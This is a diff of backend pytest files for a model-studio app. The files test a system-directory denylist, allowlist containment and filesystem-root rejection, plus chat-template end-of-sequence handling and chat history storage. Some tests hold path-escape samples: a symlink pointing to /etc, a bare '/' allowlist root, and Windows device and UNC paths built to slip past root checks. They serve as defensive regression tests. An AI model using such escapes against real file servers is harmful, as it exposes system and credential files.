+        r"C:\Users\me\models",
+    ],
+)
+def test_is_denied_system_path_windows_allows_non_system(path):
+    is_denied = _extract_is_denied_windows()
+    assert is_denied(path) is False
+
+
+# _resolve_browse_target -- real-FS integration (legacy browser)
+def _extract_resolver():
+    """Extract the legacy browse resolver; its inline imports use the real storage.studio_db policy."""
+    src = (_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8")
+    tree = ast.parse(src)
+    names = {
+        "_is_path_inside_allowlist",
+        "_normalize_browse_request_path",
+        "_browse_relative_parts",
+        "_match_browse_child",
+        "_resolve_browse_target",
+    }
+    funcs = [n for n in tree.body if isinstance(n, ast.FunctionDef) and n.name in names]
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    ns = {
+        "os": os,
+        "Path": Path,
+        "Optional": Optional,
+        "HTTPException": _HTTPException,
+        "logger": SimpleNamespace(warning = lambda *a, **k: None, debug = lambda *a, **k: None),
+    }
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+    return ns["_resolve_browse_target"]
+
+
+def test_resolve_browse_target_blocks_etc_via_root():
+    # Registering "/" must not make /etc browsable (Codex #3 regression guard).
+    resolve = _extract_resolver()
+    with pytest.raises(_HTTPException) as exc:
+        resolve("/etc", [Path("/")])
+    assert exc.value.status_code == 403
+
+
+def test_resolve_browse_target_blocks_stale_denied_root(tmp_path, monkeypatch):
+    # A stale scan-folder row pointing at a denied dir is refused by the
+    # browse-time denylist even though it is its own allowlist root. A tmp-based
+    # denied prefix (+ Linux compare) keeps the assertion OS-agnostic: on macOS
+    # tmp lives under the already-denied /private/var, masking the message.
+    denied = (tmp_path / "sysfake").resolve()
+    denied.mkdir()
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(studio_db, "_denied_path_prefixes", lambda: [str(denied)])
+    resolve = _extract_resolver()
+    with pytest.raises(_HTTPException) as exc:
+        resolve(str(denied), [denied])
+    assert exc.value.status_code == 403
+    assert "System directories" in exc.value.detail
+
+
+def test_resolve_browse_target_allows_root_itself():
+    resolve = _extract_resolver()
+    assert resolve("/", [Path("/")]) == Path("/")
+
+
+def test_resolve_browse_target_allows_legit_nested_dir(tmp_path, monkeypatch):
+    # Force the Linux denylist so the macOS temp location (under the denied
+    # /private/var) doesn't reject the tmp fixture; a normal nested dir must not be over-blocked.
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    resolve = _extract_resolver()
+    base = tmp_path / "allowed"
+    sub = base / "models" / "gguf"
+    sub.mkdir(parents = True)
+    assert resolve(str(sub), [base]) == sub.resolve()
+
+
+def test_resolve_browse_target_symlink_escape_blocked(tmp_path):
+    resolve = _extract_resolver()
+    base = tmp_path / "allowed"
+    base.mkdir()
+    link = base / "escape"
+    try:
+        link.symlink_to("/etc", target_is_directory = True)
+    except OSError:
+        pytest.skip("symlinks unsupported on this host")
+    with pytest.raises(_HTTPException) as exc:
+        resolve(str(link), [base])
+    assert exc.value.status_code == 403
+
+
+# _is_path_inside_allowlist -- bare POSIX root parity (legacy == hub)
+def _extract_is_inside(rel_parts, *, os_module = os):
+    """Extract a standalone _is_path_inside_allowlist (os/Path only) so both browsers' copies compare without importing their heavy modules."""
+    src = _BACKEND_ROOT.joinpath(*rel_parts).read_text(encoding = "utf-8")
+    tree = ast.parse(src)
+    funcs = [
+        n
+        for n in tree.body
+        if isinstance(n, ast.FunctionDef) and n.name == "_is_path_inside_allowlist"
+    ]
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    ns = {"os": os_module, "Path": Path}
+    exec(compile(module, f"<extracted {'/'.join(rel_parts)}>", "exec"), ns)
+    return ns["_is_path_inside_allowlist"]
+
+
+# ntpath semantics with a no-FS realpath, so UNC containment can be driven on a
+# POSIX CI (the real realpath cannot resolve \\server\share off Windows).
+_WIN_OS = SimpleNamespace(
+    sep = ntpath.sep,
+    path = SimpleNamespace(
+        realpath = lambda p: ntpath.normpath(str(p)),
+        normcase = ntpath.normcase,
+        splitdrive = ntpath.splitdrive,
+        dirname = ntpath.dirname,
+        commonpath = ntpath.commonpath,
+    ),
+)
+
+
+def test_legacy_and_hub_allowlist_agree_on_posix_root():
+    # A bare "/" allowlist entry must authorize only "/" itself in BOTH
+    # browsers, never descend into /var, /root, /home (which the denylist does
+    # not cover). Guards the hub browser against authorizing every absolute path.
+    legacy = _extract_is_inside(["routes", "models.py"])
+    hub = _extract_is_inside(["hub", "services", "models", "folder_browser.py"])
+    roots = [Path("/")]
+    for tgt in ["/var", "/root", "/home", "/usr", "/opt", "/etc"]:
+        assert legacy(Path(tgt), roots) is False
+        assert hub(Path(tgt), roots) is False
+    # "/" itself stays browseable; only its descendants are withheld.
+    assert legacy(Path("/"), roots) is True
+    assert hub(Path("/"), roots) is True
+
+
+def test_hub_allowlist_authorizes_normal_nested_dir(tmp_path):
+    # The bare-root special case must not over-block a normal allowlist root's descendants.
+    hub = _extract_is_inside(["hub", "services", "models", "folder_browser.py"])
+    base = tmp_path / "allowed"
+    sub = base / "models" / "gguf"
+    sub.mkdir(parents = True)
+    assert hub(sub, [base]) is True
+    assert hub(base, [base]) is True
+
+
+# add_scan_folder -- filesystem-root rejection parity (legacy == hub)
+def test_legacy_add_scan_folder_rejects_filesystem_root(monkeypatch):
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    with pytest.raises(ValueError, match = "filesystem root"):
+        studio_db.add_scan_folder("/")
+
+
+def test_hub_add_scan_folder_rejects_filesystem_root(monkeypatch):
+    monkeypatch.setattr(scan_folders.platform, "system", lambda: "Linux")
+    with pytest.raises(ValueError, match = "filesystem root"):
+        scan_folders.add_scan_folder("/")
+
+
+# is_local_filesystem_root: reject "/" and "C:\\" (roots above denied system dirs),
+# but NOT a UNC share root -- registering \\server\share was allowed before this
+# guard and has no system dirs under it. _pathmod drives Windows semantics on POSIX CI.
+@pytest.mark.parametrize(
+    "path, pathmod, expected",
+    [
+        # Local filesystem roots -> rejected (True).
+        ("/", posixpath, True),
+        ("C:\\", ntpath, True),
+        ("c:\\", ntpath, True),
+        ("D:\\", ntpath, True),
+        # UNC share roots -> NOT a local root, stay registerable (False).
+        (r"\\server\share", ntpath, False),
+        (r"\\nas\models", ntpath, False),
+        ("//server/share", ntpath, False),
+        # Device / extended-length volume roots -> still local roots (rejected),
+        # so neither \\?\C:\ nor a drive-letter-less \\?\Volume{GUID}\ can slip
+        # past the guard as if it were a share root.
+        (r"\\?\C:" + "\\", ntpath, True),
+        (r"\\.\C:" + "\\", ntpath, True),
+        (r"\\?\C:", ntpath, True),
+        (r"\\.\C:", ntpath, True),
+        (r"\\?\Volume{2f8e6d31-0000-0000-0000-100000000000}" + "\\", ntpath, True),
+        (r"\\.\Volume{2f8e6d31-0000-0000-0000-100000000000}", ntpath, True),
+        # Device-namespace UNC share root -> stays registerable (False).
+        (r"\\?\UNC\server\share", ntpath, False),
+        # Non-root paths (incl. deep device / extended-length) -> not a root (False).
+        ("C:\\Models", ntpath, False),
+        (r"\\server\share\models", ntpath, False),
+        (r"\\?\C:\Users\me\models", ntpath, False),
+        (r"\\?\Volume{2f8e6d31-0000-0000-0000-100000000000}\models", ntpath, False),
+        ("/home/user", posixpath, False),
+    ],
+)
+def test_is_local_filesystem_root(path, pathmod, expected):
+    assert is_local_filesystem_root(path, _pathmod = pathmod) is expected
+
+
+def test_both_guards_use_the_shared_local_root_helper():
+    # Register-root parity: both browsers reject the same roots via one helper, so a
+    # UNC-share exemption can never drift between the legacy and hub code paths.
+    legacy_src = (_BACKEND_ROOT / "storage" / "studio_db.py").read_text(encoding = "utf-8")
+    hub_src = (_BACKEND_ROOT / "hub" / "storage" / "scan_folders.py").read_text(encoding = "utf-8")
+    assert "is_local_filesystem_root(normalized)" in legacy_src
+    assert "is_local_filesystem_root(normalized)" in hub_src
+
+
+# A registered UNC share root must authorize its own descendants in both browsers.
+# os.path.commonpath raises "can't mix absolute and relative" on a bare
+# \\server\share, so containment falls back to a boundary-safe prefix test; without
+# it, registering a UNC share (now allowed) would 403 every folder under it.
+@pytest.mark.parametrize(
+    "rel_parts",
+    [
+        ["routes", "models.py"],
+        ["hub", "services", "models", "folder_browser.py"],
+    ],
+)
+def test_unc_share_root_authorizes_its_descendants(rel_parts):
+    is_inside = _extract_is_inside(rel_parts, os_module = _WIN_OS)
+    root = [Path(r"\\server\share")]
+    assert is_inside(Path(r"\\server\share"), root) is True  # the root itself
+    assert is_inside(Path(r"\\server\share\models"), root) is True  # direct child
+    assert is_inside(Path(r"\\server\share\a\b\c"), root) is True  # deep descendant
+    assert is_inside(Path(r"\\SERVER\SHARE\Models"), root) is True  # case-insensitive
+    assert is_inside(Path(r"\\server\share2\models"), root) is False  # sibling share
+    assert is_inside(Path(r"C:\models"), root) is False  # different volume
diff --git a/studio/backend/tests/test_browse_folders_route.py b/studio/backend/tests/test_browse_folders_route.py
index 3a607e6b10..970057f1e2 100644
--- a/studio/backend/tests/test_browse_folders_route.py
+++ b/studio/backend/tests/test_browse_folders_route.py
@@ -22,6 +22,18 @@ if "structlog" not in sys.modules:
     )
 
 import routes.models as models_route
+import storage.studio_db as studio_db
+
+
+@pytest.fixture(autouse = True)
+def _denylist_inert(monkeypatch):
+    # These tests exercise allowlist containment and the file-vs-directory guard,
+    # not the system-directory denylist (which has its own suite in
+    # test_browse_denylist.py). On macOS tmp_path resolves under /private/var, a
+    # denied prefix, so _resolve_browse_target would 403 the fixture dirs before
+    # the containment logic runs. Keep the denylist inert here so these
+    # assertions hold on every platform.
+    monkeypatch.setattr(studio_db, "is_denied_system_path", lambda _p: False)
 
 
 def test_resolve_browse_target_returns_allowed_directory(tmp_path):
diff --git a/studio/backend/tests/test_bypass_permissions.py b/studio/backend/tests/test_bypass_permissions.py
index d92509a5fe..2635f4e7c8 100644
--- a/studio/backend/tests/test_bypass_permissions.py
+++ b/studio/backend/tests/test_bypass_permissions.py
@@ -13,6 +13,7 @@ never gating under bypass.
 Run with: ``PYTHONPATH=studio/backend python -m pytest studio/backend/tests/test_bypass_permissions.py -q``
 """
 
+import io
 import os
 import sys
 
@@ -94,10 +95,23 @@ def test_safe_env_excludes_host_and_secret(monkeypatch, tmp_path):
 
 
 class _FakeProc:
-    returncode = 0
+    """A subprocess.Popen double for the drain path (``tools._drain_process_output``):
+    a readable ``stdout`` pipe yielding the fake output then EOF, plus
+    ``wait()`` / ``poll()`` / ``pid``. The pid is non-existent so
+    ``_capture_process_group``'s ``os.getpgid`` returns None; ``wait`` returns
+    immediately so the drain never kills.
+    """
 
-    def communicate(self, timeout = None):
-        return ("FAKEOUT", None)
+    returncode = 0
+    # Unlikely-to-exist pid: os.getpgid raises ProcessLookupError (caught) -> None.
+    pid = 2**22
+
+    def __init__(self):
+        # Readable stdout: iter(readline, "") yields "FAKEOUT" then hits EOF.
+        self.stdout = io.StringIO("FAKEOUT")
+
+    def wait(self, timeout = None):
+        return 0
 
     def poll(self):
         return 0
@@ -257,6 +271,7 @@ def test_loop_forwards_disable_sandbox_and_does_not_gate():
         cancel_event = None,
         timeout = None,
         session_id = None,
+        thread_id = None,
         rag_scope = None,
         disable_sandbox = False,
     ):
@@ -290,6 +305,7 @@ def test_loop_bypass_overrides_confirm_for_direct_callers():
         cancel_event = None,
         timeout = None,
         session_id = None,
+        thread_id = None,
         rag_scope = None,
         disable_sandbox = False,
     ):
diff --git a/studio/backend/tests/test_chat_eos_template_refresh.py b/studio/backend/tests/test_chat_eos_template_refresh.py
new file mode 100644
index 0000000000..75d0117015
--- /dev/null
+++ b/studio/backend/tests/test_chat_eos_template_refresh.py
@@ -0,0 +1,194 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Mapper models whose own tokenizer ships no chat_template have their turn-end
+eos resolved at LOAD from an empty template (document eos only). The effective
+template is installed later, at generate time, via get_chat_template, so the
+turn-end-eos cache must be refreshed then; otherwise generate_stream runs past
+the ChatML <|im_end|> boundary and loops (the exact bug this PR fixes).
+"""
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+# These tests construct InferenceBackend, pulling the full stack. CI may lack
+# unsloth/unsloth_zoo (ImportError) or have a broken CUDA/bitsandbytes setup
+# (RuntimeError); skip at module level so collection is not aborted (exit 2).
+try:
+    from core.inference import inference as inf_mod  # noqa: E402
+    from core.inference.inference import InferenceBackend  # noqa: E402
+except (ImportError, RuntimeError) as exc:  # pragma: no cover - env-dependent
+    pytest.skip(
+        f"full inference backend unavailable ({type(exc).__name__}: {exc})",
+        allow_module_level = True,
+    )
+
+_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}"
+_GEMMA = "{% for m in messages %}<start_of_turn>{{m.role}}\n{{m.content}}<end_of_turn>{% endfor %}"
+
+
+class _FakeTokenizer:
+    def __init__(
+        self,
+        eos_id,
+        chat_template = "",
+        token_ids = None,
+    ):
+        self.eos_token_id = eos_id
+        self.chat_template = chat_template
+        self.pad_token_id = eos_id
+        self.unk_token_id = None
+        self._ids = dict(token_ids or {})
+
+    def convert_tokens_to_ids(self, tok):
+        return self._ids.get(tok)
+
+
+def test_turn_end_eos_refreshed_after_generate_time_template(monkeypatch):
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/qwen2.5-0.5b"
+
+    # No chat_template at load, so the cache stored only the document eos, though
+    # <|im_end|> is atomic in the vocab (unused until the mapper installs a template).
+    bare_tok = _FakeTokenizer(151643, chat_template = "", token_ids = {"<|im_end|>": 151645})
+    model_info = {
+        "tokenizer": bare_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [151643],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # The mapper installs a ChatML template (turns end with <|im_end|>) at generate time.
+    templated_tok = _FakeTokenizer(151643, chat_template = _CHATML, token_ids = {"<|im_end|>": 151645})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: templated_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "qwen-2.5"}, raising = False
+    )
+
+    # Stub the tail so the generator runs through the refresh without a real model.
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # After the template is applied the cache must include the ChatML turn-end id.
+    assert model_info["chat_turn_end_eos_ids"] == [151643, 151645]
+
+
+def test_turn_end_eos_refresh_preserves_load_time_ids_on_destructive_swap(monkeypatch):
+    # Regression: get_chat_template can return a remapped tokenizer (Gemma: <end_of_turn>
+    # folded onto the eos id) while generate_stream re-reads the original. Resolving on
+    # the swap yields a narrower set, so the refresh must UNION, never overwrite.
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/gemma-2b-it"
+
+    # Original tokenizer (used by generate_stream): <end_of_turn>=107 distinct from
+    # eos=1, so the load-time cache resolved to [1, 107].
+    orig_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"<end_of_turn>": 107})
+    model_info = {
+        "tokenizer": orig_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [1, 107],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # Destructively-swapped tokenizer: <end_of_turn> now maps onto eos id 1, so
+    # resolving on it yields only [1] (drops 107).
+    swapped_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"<end_of_turn>": 1})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: swapped_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "gemma-3"}, raising = False
+    )
+
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # The load-time <end_of_turn>=107 must survive: overwriting with the swapped
+    # [1] would regress and loop past the turn.
+    assert model_info["chat_turn_end_eos_ids"] == [1, 107]
+
+
+def test_turn_end_eos_refresh_resolves_marker_id_on_original_not_remapped(monkeypatch):
+    # Yi-style map_eos_token=True: the original carries <|im_end|> at its own id, but
+    # get_chat_template folds it onto the doc-eos id. generate_stream uses the original,
+    # so read marker strings from the mapped template but ids from the original.
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "01-ai/yi-6b"
+
+    # Original: no template of its own, doc eos = 2, <|im_end|> atomic = 7.
+    orig_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7})
+    model_info = {
+        "tokenizer": orig_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [2],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # Remapped tokenizer: ChatML template, but <|im_end|> folded onto doc-eos id 2.
+    remapped_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: remapped_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "chatml"}, raising = False
+    )
+
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # The real <|im_end|>=7 (original vocab) must be recovered, not the remapped 2.
+    assert model_info["chat_turn_end_eos_ids"] == [2, 7]
+
+
+class _FakeProcessor:
+    """A ProcessorMixin-like container: carries the chat_template itself and
+    wraps the real text tokenizer as ``.tokenizer`` (the vision layout)."""
+
+    def __init__(self, chat_template, tokenizer):
+        self.chat_template = chat_template
+        self.tokenizer = tokenizer
+
+
+def test_resolve_chat_eos_reads_vision_processor_template():
+    # Vision model: the chat_template lives on the processor while the inner tokenizer
+    # ships none. _resolve_chat_eos must read the marker from the processor but resolve
+    # its id on the inner tokenizer, and repair generation_config.
+    from types import SimpleNamespace
+
+    inner_tok = _FakeTokenizer(1, chat_template = "", token_ids = {"<end_of_turn>": 107})
+    processor = _FakeProcessor(_GEMMA, inner_tok)
+    model = SimpleNamespace(generation_config = SimpleNamespace(eos_token_id = 1))
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/gemma-3-4b-it"
+    model_info = {"model": model, "tokenizer": processor, "processor": processor, "is_vision": True}
+    backend.models = {backend.active_model_name: model_info}
+
+    backend._resolve_chat_eos(backend.active_model_name)
+
+    assert model_info["chat_turn_end_eos_ids"] == [1, 107]
+    # generation_config repaired so the vision .generate() path stops at the turn.
+    assert model.generation_config.eos_token_id == [1, 107]
diff --git a/studio/backend/tests/test_chat_history_routes.py b/studio/backend/tests/test_chat_history_routes.py
index 2a6ebe244f..a60ac700bf 100644
--- a/studio/backend/tests/test_chat_history_routes.py
+++ b/studio/backend/tests/test_chat_history_routes.py
@@ -91,6 +91,17 @@ def test_chat_settings_payload_accepts_fast_mode_presets():
     assert dumped["customPresets"][0]["params"]["fastMode"] is True
 
 
+def test_chat_settings_payload_accepts_nudge_tool_calls():
+    # extra="forbid" 400s PUT /api/chat/settings on unknown keys, so the
+    # frontend's persisted nudgeToolCalls needs a payload field (like
+    # autoHealToolCalls).
+    payload = chat_history.ChatSettingsPayload.model_validate(
+        {"autoHealToolCalls": True, "nudgeToolCalls": False}
+    )
+    dumped = payload.model_dump(exclude_unset = True)
+    assert dumped == {"autoHealToolCalls": True, "nudgeToolCalls": False}
+
+
 def test_chat_inference_settings_covers_frontend_persisted_fields():
     # Drift guard: every InferenceParams field the UI persists (all but
     # checkpoint) must exist on ChatInferenceSettings, else extra="forbid"
diff --git a/studio/backend/tests/test_chat_history_storage.py b/studio/backend/tests/test_chat_history_storage.py
index aa19df15fe..0239410734 100644
--- a/studio/backend/tests/test_chat_history_storage.py
+++ b/studio/backend/tests/test_chat_history_storage.py
@@ -4,6 +4,7 @@
 import os
 import platform
 import shutil
+import sqlite3
 import threading
 import uuid
 from pathlib import Path
@@ -11,6 +12,7 @@ from pathlib import Path
 import pytest
 
 from storage import studio_db
+from utils.paths import studio_db_path
 
 
 def _reset_studio_db(
@@ -108,6 +110,138 @@ def test_sync_chat_messages_upserts_without_pruning(tmp_path, monkeypatch):
     assert by_id["msg-2"]["content"] == [{"type": "text", "text": "updated text"}]
 
 
+def test_chat_thread_updated_at_bumps_on_message_writes(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    thread = studio_db.upsert_chat_thread(_thread())
+    assert thread["updatedAt"] == thread["createdAt"]
+
+    studio_db.upsert_chat_message(_message("msg-1", 1_700_000_000_500, "hi"))
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+    studio_db.upsert_chat_message(_message("msg-0", 1_600_000_000_000, "old"))
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+    studio_db.sync_chat_messages(
+        "thread-1",
+        [_message("msg-2", 1_700_000_001_000, "newer")],
+    )
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_001_000
+
+
+def test_chat_thread_updated_at_recomputed_when_pruning(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    thread = studio_db.upsert_chat_thread(_thread())
+    studio_db.sync_chat_messages(
+        "thread-1",
+        [
+            _message("msg-1", 1_700_000_000_500, "older"),
+            _message("msg-2", 1_700_000_001_000, "newest"),
+        ],
+        prune_missing = True,
+    )
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_001_000
+
+    # Pruning the newest message must lower updated_at to the remaining one.
+    studio_db.sync_chat_messages(
+        "thread-1",
+        [_message("msg-1", 1_700_000_000_500, "older")],
+        prune_missing = True,
+    )
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+    # Pruning every message falls back to created_at.
+    studio_db.sync_chat_messages("thread-1", [], prune_missing = True)
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == thread["createdAt"]
+
+
+def test_chat_thread_updated_at_survives_thread_resave(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    studio_db.upsert_chat_message(_message("msg-1", 1_700_000_000_500, "hi"))
+
+    studio_db.upsert_chat_thread(_thread())
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+
+def test_list_chat_threads_orders_by_last_activity(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    older = _thread("thread-old")
+    older["createdAt"] = 1_700_000_000_000
+    newer = _thread("thread-new")
+    newer["createdAt"] = 1_700_000_100_000
+    studio_db.upsert_chat_thread(older)
+    studio_db.upsert_chat_thread(newer)
+    assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-new", "thread-old"]
+
+    studio_db.upsert_chat_message(
+        _message("msg-1", 1_700_000_200_000, "hi", thread_id = "thread-old")
+    )
+    assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-old", "thread-new"]
+
+
+def test_chat_threads_updated_at_migration_backfills_from_messages(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    db_path = studio_db_path()
+    db_path.parent.mkdir(parents = True, exist_ok = True)
+    conn = sqlite3.connect(str(db_path))
+    try:
+        conn.execute(
+            """
+            CREATE TABLE chat_threads (
+                id TEXT NOT NULL PRIMARY KEY,
+                title TEXT NOT NULL,
+                model_type TEXT NOT NULL,
+                model_id TEXT,
+                pair_id TEXT,
+                archived INTEGER NOT NULL DEFAULT 0,
+                created_at INTEGER NOT NULL
+            )
+            """
+        )
+        conn.execute(
+            """
+            CREATE TABLE chat_messages (
+                id TEXT NOT NULL PRIMARY KEY,
+                thread_id TEXT NOT NULL,
+                parent_id TEXT,
+                role TEXT NOT NULL,
+                content_json TEXT NOT NULL,
+                attachments_json TEXT,
+                metadata_json TEXT,
+                created_at INTEGER NOT NULL
+            )
+            """
+        )
+        conn.execute(
+            "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)",
+            ("thread-with-msgs", "Old", "base", 1_700_000_000_000),
+        )
+        conn.execute(
+            "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)",
+            ("thread-empty", "Empty", "base", 1_700_000_050_000),
+        )
+        # Fork-like thread: copied ancestor messages predate the thread itself.
+        conn.execute(
+            "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)",
+            ("thread-fork", "Fork", "base", 1_700_000_100_000),
+        )
+        conn.executemany(
+            "INSERT INTO chat_messages (id, thread_id, role, content_json, created_at) VALUES (?, ?, ?, ?, ?)",
+            [
+                ("m1", "thread-with-msgs", "user", "[]", 1_700_000_001_000),
+                ("m2", "thread-with-msgs", "assistant", "[]", 1_700_000_002_000),
+                ("m3", "thread-fork", "user", "[]", 1_700_000_001_000),
+            ],
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    assert studio_db.get_chat_thread("thread-with-msgs")["updatedAt"] == 1_700_000_002_000
+    assert studio_db.get_chat_thread("thread-empty")["updatedAt"] == 1_700_000_050_000
+    assert studio_db.get_chat_thread("thread-fork")["updatedAt"] == 1_700_000_100_000
+
+
 def test_chat_projects_delete_cascades_threads_and_messages(tmp_path, monkeypatch):
     _reset_studio_db(tmp_path, monkeypatch)
     project = studio_db.upsert_chat_project(_project())
diff --git a/studio/backend/tests/test_chat_load_during_training.py b/studio/backend/tests/test_chat_load_during_training.py
index 487c3c7ce0..63dba8579c 100644
--- a/studio/backend/tests/test_chat_load_during_training.py
+++ b/studio/backend/tests/test_chat_load_during_training.py
@@ -651,11 +651,19 @@ class TestLoadModelGuardIntegration(unittest.TestCase):
         inf._shutdown_subprocess = MagicMock()
         llama = SimpleNamespace(is_loaded = False, model_identifier = None, hf_variant = None)
         llama.unload_model = MagicMock()
-        cfg = SimpleNamespace(is_gguf = False, is_lora = False, path = None, base_model = None)
+        cfg = SimpleNamespace(
+            is_gguf = False,
+            is_lora = False,
+            path = None,
+            base_model = None,
+            identifier = "unsloth/Qwen3-1.7B",
+        )
         request = LoadRequest(model_path = "unsloth/Qwen3-1.7B")
         info = {"required_gb": 40.0, "usable_gb": 5.0, "needed_gb": 50.0, "mode": "auto"}
 
         with (
+            # Pin the latest-sidecar tier check so the guard path stays offline.
+            patch("utils.transformers_version.latest_tier_active_for", return_value = False),
             patch.object(self.route, "validate_extra_args", return_value = None),
             patch.object(
                 self.route,
diff --git a/studio/backend/tests/test_chat_template_tool_arguments.py b/studio/backend/tests/test_chat_template_tool_arguments.py
new file mode 100644
index 0000000000..13d1ecabaa
--- /dev/null
+++ b/studio/backend/tests/test_chat_template_tool_arguments.py
@@ -0,0 +1,157 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""apply_chat_template_for_generation must coerce assistant tool_call arguments
+from the OpenAI JSON-string form to a dict before rendering. Strict tool
+templates (e.g. mlx-community Qwen3.5 checkpoints) iterate arguments.items() and
+raise "Can only get item pairs from a mapping." on the string form when a prior
+tool call is re-rendered on the next turn (MLX + transformers paths).
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.chat_template_helpers import (  # noqa: E402
+    _normalize_tool_call_arguments,
+    apply_chat_template_for_generation,
+)
+
+
+def _conv(arguments):
+    return [
+        {"role": "user", "content": "weather?"},
+        {
+            "role": "assistant",
+            "content": "",
+            "tool_calls": [
+                {
+                    "type": "function",
+                    "id": "c1",
+                    "function": {"name": "web_search", "arguments": arguments},
+                }
+            ],
+        },
+        {"role": "tool", "name": "web_search", "content": "21C sunny"},
+    ]
+
+
+class _StrictTemplateTokenizer:
+    """Mimics a strict Qwen tool template: rejects string tool_call arguments."""
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                args = call.get("function", {}).get("arguments")
+                if isinstance(args, str):
+                    raise TypeError("Can only get item pairs from a mapping.")
+        return "RENDERED"
+
+
+def test_string_arguments_are_parsed_to_dict():
+    out = _normalize_tool_call_arguments(_conv('{"query": "sweden"}'))
+    args = out[1]["tool_calls"][0]["function"]["arguments"]
+    assert args == {"query": "sweden"}
+
+
+def test_dict_arguments_untouched_and_no_copy():
+    conv = _conv({"query": "sweden"})
+    assert _normalize_tool_call_arguments(conv) is conv
+
+
+def test_non_json_string_left_as_is():
